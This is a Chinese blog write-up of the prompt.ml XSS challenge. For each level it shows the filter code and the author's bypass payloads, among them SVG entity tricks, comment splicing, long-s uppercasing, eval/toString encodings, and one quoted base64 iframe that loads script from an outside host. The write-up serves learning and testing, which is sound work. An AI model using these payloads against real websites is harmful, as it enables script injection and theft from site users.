博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
xss挑战赛小记 0x02(prompt(1))
阅读量:4504 次
发布时间:2019-06-08

本文共 7731 字,大约阅读时间需要 25 分钟。

0x0O

上次搜xss挑战赛的时候

还找到了一个看上去难度更高的挑战赛

今天做了一下

学到了很多新东西

这个挑战赛能够在页面成功prompt(1)就算过关了

挑战地址 http://prompt.ml/0

 

0x00

为了排版把第一个改成0x0O了hhh

一开始我是想" οnmοuseοver="prompt(1)这样的

但是这个比赛要在没有用户交互的情况下运行

后来改成onload还是不行

百度了一下发现onload要在input里触发必须type=image..

老老实实 "> <script>prompt(1)</script>过了

 

0x01

function escape(input) {    // tags stripping mechanism from ExtJS library    // Ext.util.Format.stripTags    var stripTagsRE = /<\/?[^>]+>/gi;    input = input.replace(stripTagsRE, '');    return '
' + input + '
';}

重点就是这个正则

/<\/?[^>]+>/gi;

g代表全局 i代表不区分大小写

/?则是最多一个/

+表示1-无穷

^本来代表起始但是在[^] 中代表非 意为出了>以外的字符

综上所述这个正则的匹配为前后都有尖括号闭合的所有东西 '<xxx>'这一段

那么不闭合就好了啊

<img src=x οnerrοr="prompt(1)" 这就过了

 

0x02

第二关也是通过一个正则过滤

Text Viewerfunction escape(input) {    //                      v-- frowny face    input = input.replace(/[=(]/g, '');    // ok seriously, disallows equal signs and open parenthesis    return input;}

这个正则就是= 和 (的过滤

正好之前看一篇文章的时候对其中的svg这个东西不太了解

百度了一下 学习了一个姿势

<svg><script>alert&#40;1)</script>

svg向量里面的script将其作为xml解析

&#40;即被解析为(

ps:[ &lpar; &#x28;同样会被解析为( ]

<svg><script>prompt&#40;1)</script>

 

0x03

function escape(input) {    //                      v-- frowny face    input = input.replace(/[=(]/g, '');    // ok seriously, disallows equal signs and open parenthesis    return input;}

这道题很纠结

去看了wp才知道h5的注释可以用--> 

--!>也行

前面把注释闭合就行了

 

0x04

Text Viewerfunction escape(input) {    // make sure the script belongs to own site    // sample script: http://prompt.ml/js/test.js    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; }}

 

这个首先是一个正则

控制了输入的必须是https的网址  需要含有prompt m1 还要进行一个url解码

然后创建一个script节点 再把输入当做一个外部链接 然后输出

想到在https://prompt/m1后面跟一个链接

但是没有成功

 

 

0x05

function escape(input) {    // apply strict filter rules of level 0    // filter ">" and event handlers    input = input.replace(/>|on.+?=|focus/gi, '_');    return '';}

正则匹配>或者on 到 =或者focus 替换成_ 全局不区分大小写

并且输出在input里面

这样就过滤了> 无法闭合 onxx=和focus

只过滤了onxxx= 而不是单独的on是比较幸运的事情

想到了换行

想用onload的 在input中需要type=image才行

就在前面加一下

但是这样导致报错。。就换成onerror了

onerror要在加载外部文件(文档或图片)错误时触发

" src=x  onerror

="prompt(1)"  type="image  这样就过了

 

 

0x06

function escape(input) {    // let's do a post redirection    try {        // pass in formURL#formDataJSON        // e.g. http://httpbin.org/post#{"name":"Matt"}        var segments = input.split('#');        var formURL = segments[0];        var formData = JSON.parse(segments[1]);        var form = document.createElement('form');        form.action = formURL;        form.method = 'post';        for (var i in formData) {            var input = form.appendChild(document.createElement('input'));            input.name = i;            input.setAttribute('value', formData[i]);        }        return form.outerHTML + '                         \n\                                                 \n\        ';    } catch (e) {        return 'Invalid form data.';    }}

很大一段...给了一个例子// e.g. http://httpbin.org/post#{"name":"Matt"}

函数主要就是创建一个表单 把参数以#分割.前面的给action的url

后面的内容经由JSON.parse处理之后循环生成input..好像也就生成一个..

script里面的内容大概是匹配没有script:和data:就提交表单吧

测试发现前面的action参数中双引号会被转化为实体字符,想到用伪协议 javascript:prompt(1)#{"name":"Matt"}

但是后面就做不下去了..看了一下wp http://pwdme.cc/2016/12/06/prompt-ml-xss/

说是action的变量覆盖   把#后面的name改成action 这样就会覆盖前一个action,让if的条件为真 提交表单

javascript:prompt(1)#{"action":"Matt"}

 

0x07

Text Viewerfunction escape(input) {    // pass in something like dog#cat#bird#mouse...    var segments = input.split('#');    return segments.map(function(title) {        // title can only contain 12 characters        return '

'; }).join('\n');}

这个就感觉比上一个代码简单一些

以#分割几个参数 然后每个都写到一个p标签里

每一个参数只取钱12位

想到用<!---->注释注释掉两端的拼凑起来构成一个payload

 

"><svg/οnlοad='prompt(1)'

"><svg/o<!--#-->nload<!--#-->='pro<!--#-->mpt(1)'

但是不行....想到换成/**/

"><svg//*#*/onload='/*#*/prompt(1)'

去看了wp给的payload是

"><svg/a=#"οnlοad='/*#*/prompt(1)'

f12看了下才知道思路错了

要把后面整个都放进svg标签里头 所以第一个其实不用注释

 

0x08

function escape(input) {    // prevent input from getting out of comment    // strip off line-breaks and stuff    input = input.replace(/[\r\n
\n\ // console.log("' + input + '"); \n\ ';}

代码过滤了换行回车"/<

下面的console.log可以直接运行命令但是被注释了

//代表的是单行注释  但是回车和换行都被过滤了

 

wp说是利用行分隔符[U+2028]prompt(1)[U+2028]这样的payload

但是几个wp里都是写的没有试成功

关于[U+2028]这个是什么可以看这篇文章

http://www.hack80.com/forum.php?mod=viewthread&tid=21505

 

0x09

function escape(input) {    // filter potential start-tags    input = input.replace(/<([a-zA-Z])/g, '<_$1');    // use all-caps for heading    input = input.toUpperCase();    // sample input: you shall not pass! => YOU SHALL NOT PASS!    return '

' + input + '

';}

代码就是把<x 变成<_x

然后大小写全部换成大写

同样毫无思路  看下wp.....

字符ſ在经过toUpperCase的处理之后会变成S...

直接上<ſcript>prompt(1)</ſcript>发现不行  查了一下发现js是对大小写敏感的

那直接的prompt(1)是不行的了 

但是可以用src加载一个js进去

<ſcript src="xss.js">prompt(1)</ſcript>这样

 

0x10

function escape(input) {    // (╯°□°)╯︵ ┻━┻    input = encodeURIComponent(input).replace(/prompt/g, 'alert');    // ┬──┬ ノ( ゜-゜ノ) chill out bro    input = input.replace(/'/g, '');    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO    return ' ';}

这道感觉比之前的简单...

首先就是把prompt替换成alert 然后经过encodeURIComponent函数处理

这个函数会把字符串作为 URI 组件进行编码

然后再把'给去除...防止了加一个外部的js

查了一下encodeURIComponent函数 发现一个很有意思的地方

 

该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。

 

其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的

那就很简单了 先用'绕过第一个替换 然后第二个替换自动把'消除了

pro'mpt(1)

 

0x11

function escape(input) {    // name should not contain special characters    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');    // data to be parsed as JSON    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';    // directly "parse" data in script context    return '                                \n\ ';}

首先是一个正则过滤了一些字符

然后将写入的参数输出在script中

可以发现双引号没被过滤,就可以闭合前面的双引做事情

有个黑科技就是"xxx"alert(1)   alert(1)in"xxx"  (alert(1))"xxx"虽然会报错 但是是可以执行的

alert(1)in"xxx"  (alert(1))in"xxx" 在控制台下都可以允许 但是这道题不加括号就弹不了

"(prompt(1))in"  这样就好了

ps:不仅是in , instanceof也有同样的功能

 

0x12

function escape(input) {    // (╯°□°)╯︵ ┻━┻    input = encodeURIComponent(input).replace(/prompt/g, 'alert');    // ┬──┬ ノ( ゜-゜ノ) chill out bro    input = input.replace(/'/g, '');    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO    return ' ';}

是0x10的加强版

把过滤的顺序换个一下 就没那么容易绕过了

老规矩。。看wp吧

用到了eval的一个黑科技 搭配parseInt这个函数使用

我在控制台试了下

 

 再把各个位置用concat这个连接函数连起来,payload就很容易出来了 因为有单引号的过滤和urlencode 所以不能直接连接()

eval((1354620604).toString(35).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))

 

wp还给了其他payload

eval((1558153217).toString(36))(1) 

eval(630038579..toString(30))(1)

 

for((i)in(self))eval(i)(1)    循环self里的函数 暴力破解版..

 

0x13

不会js  之前第六题的代码还算能读一下 

看到这道题的代码实在是头疼

 

0x14

这道题首先进行了一个大写转化

然后把xxx:   //  都替换成data:

然后 \\ + & vbs都变成_...

wp的姿势是<IFRAME/SRC="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9wd2RtZS5jYy8xLkpTIj48L3NjcmlwdD4=">

但是有大写转换的话 必须得脚本base64加密之后正好都为大写.....

照着wp给的payload也没成功..

 

 

0x15

 

function escape(input) {    // sort of spoiler of level 7    input = input.replace(/\*/g, '');    // pass in something like dog#cat#bird#mouse...    var segments = input.split('#');    return segments.map(function(title, index) {        // title can only contain 15 characters        return '

'; }).join('\n');}

 

这道题跟之前的第七题有些相似

只是把/**/这个姿势禁止了  但是还有<!---->这种注释

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script> 这样就好了

wp中给出了另一种payload   <script>`#${prompt(1)}#`<script>

`xxx` 是模板字符串

`xxx

 xxx` 可以这样使用

${}就是一个占位符了

 

0x0X

个人还是非常菜的

这个挑战里头一大半的题目都参考了下wp...

参考的wp

https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml

http://pwdme.cc/2016/12/06/prompt-ml-xss/

https://lorexxar.cn/2015/07/02/xss-p/

 

转载于:https://www.cnblogs.com/slpawn/p/7487161.html

你可能感兴趣的文章
实训作业1
查看>>
日期控件 DatePicker 在ie8不能用
查看>>
多个表左联,要返回全部的结果,解决不能用where的问题
查看>>
hibernate left join fetch 出错的问题
查看>>
ifconfig,netstat command not found
查看>>
插入多个背景音乐
查看>>
英文外包
查看>>
ajax基础知识
查看>>
Activity与Service之间交互并播放歌曲
查看>>
在使用python3.7+channels时会出现rsync错误
查看>>
这一篇是运算符。。
查看>>
在ubuntu16.04+python3.5情况下安装nltk,以及gensim时pip3安装不成功的解决办法
查看>>
windows系统的安装时间怎么查看
查看>>
20180911-Java实例01
查看>>
Javascript Event
查看>>
解决IOS safari下滑动的“橡皮筋”效果
查看>>
asp.net 得到一个文件夹下的所有文件夹及子文件夹名,得到所有文件名,文件大小,文件夹大小...
查看>>
从keystore(jks)文件中提取私钥
查看>>
调整数组顺序使奇数位于偶数前面
查看>>
HackerRank "Training the army" - Max Flow
查看>>